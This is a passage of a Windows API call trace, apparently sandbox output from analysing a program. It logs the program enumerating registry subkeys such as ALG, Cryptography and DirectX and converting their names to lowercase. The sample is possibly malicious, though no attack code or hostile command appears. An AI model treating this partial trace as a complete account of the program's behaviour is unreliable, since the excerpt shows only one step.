RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x4ab930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x4ab930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x4ab930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x4ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x4ab930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x4ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.815] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.815] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x4ab930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x4ab930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x4ac0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x4ab930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x4ac120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x4ab930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x4ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.816] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.816] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x4ab930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0224.816] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.817] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x4ab930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x4ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.817] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x4ab930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.817] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x4ab930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x4ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0224.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.817] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.818] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x4ab930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.818] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x4ab930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.818] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x4ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.818] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x4ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.819] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.819] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x4ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.819] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x4ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.819] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0224.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x4ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.820] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x4ab930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, 